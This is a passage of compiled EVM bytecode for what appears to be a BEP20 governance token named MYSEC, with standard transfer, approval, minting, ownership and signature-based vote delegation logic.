085012061190160f01b6101608501526101628401829052610182808501829052835180860390910181526101a285018085528151918701919091206000918290526101c2860180865281905260ff8b166101e287015261020286018a90526102228601899052935192965090949293909260019261024280840193601f198301929081900390910190855afa158015610eaa573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610efc5760405162461bcd60e51b81526004018080602001828103825260278152602001806119ad6027913960400191505060405180910390fd5b6001600160a01b0381166000908152600a602052604090208054600181019091558914610f5a5760405162461bcd60e51b8152600401808060200182810382526023815260200180611b0e6023913960400191505060405180910390fd5b87421115610f995760405162461bcd60e51b81526004018080602001828103825260278152602001806119fc6027913960400191505060405180910390fd5b610fa3818b6115e8565b505050505b505050505050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b60086020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b61103461108d565b6000546001600160a01b03908116911614611084576040805162461bcd60e51b81526020600482018190526024820152600080516020611a4b833981519152604482015290519081900360640190fd5b61087981611681565b3390565b6001600160a01b0383166110d65760405162461bcd60e51b81526004018080602001828103825260248152602001806119636024913960400191505060405180910390fd5b6001600160a01b03821661111b5760405162461bcd60e51b8152600401808060200182810382526022815260200180611b316022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166111c25760405162461bcd60e51b815260040180806020018281038252602581526020018061193e6025913960400191505060405180910390fd5b6001600160a01b0382166112075760405162461bcd60e51b8152600401808060200182810382526023815260200180611ac66023913960400191505060405180910390fd5b61124481604051806060016040528060268152602001611aa0602691396001600160a01b03861660009081526001602052604090205491906112cf565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546112739082611366565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818484111561135e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561132357818101518382015260200161130b565b50505050905090810190601f1680156113505780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610d36576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03821661141b576040805162461bcd60e51b815260206004820152601f60248201527f42455032303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6003546114289082611366565b6003556001600160a01b03821660009081526001602052604090205461144e9082611366565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b816001600160a01b0316836001600160a01b0316141580156114c85750600081115b156115e3576001600160a01b0383161561155a576001600160a01b03831660009081526009602052604081205463ffffffff16908161150857600061153a565b6001600160a01b038516600090815260086020908152604080832063ffffffff60001987011684529091529020600101545b905060006115488285611721565b905061155686848484611763565b5050505b6001600160a01b038216156115e3576001600160a01b03821660009081526009602052604081205463ffffffff1690816115955760006115c7565b6001600160a01b038416600090815260086020908152604080832063ffffffff60001987011684529091529020600101545b905060006115d58285611366565b9050610fa885848484611763565b505050565b6001600160a01b038083166000908152600760205260408120549091169061160f84610894565b6001600160a01b0385811660008181526007602052604080822080546001600160a01b031916898616908117909155905194955093928616927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46116778284836114a6565b50505050565b4690565b6001600160a01b0381166116c65760405162461bcd60e51b81526004018080602001828103825260268152602001806119876026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610d3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112cf565b600061178743604051806060016040528060358152602001611a6b603591396118c8565b905060008463ffffffff161180156117d057506001600160a01b038516600090815260086020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561180d576001600160a01b038516600090815260086020908152604080832063ffffffff6000198901168452909152902060010182905561187e565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600884528681208b8616825284528681209551865490861663ffffffff19918216178755925160019687015590815260099092529390208054928801909116919092161790555b604080518481526020810184905281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b600081640100000000841061191e5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561132357818101518382015260200161130b565b509192915050565b60408051808201909152600080825260208201529056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d595345433a3a64656c656761746542795369673a20696e76616c6964207369676e617475726542455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654d595345433a3a64656c656761746542795369673a207369676e617475726520657870697265644d595345433a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724d595345433a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747342455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4d595345433a3a64656c656761746542795369673a20696e76616c6964206e6f6e636542455032303a20617070726f766520746f20746865207a65726f2061646472657373a2646970667358221220ebbb01fc5657be15ba0d36a89104100a4e737b1f9ff72eb0058904f6412d624d64736f6c634300060c0033
[ 9 ]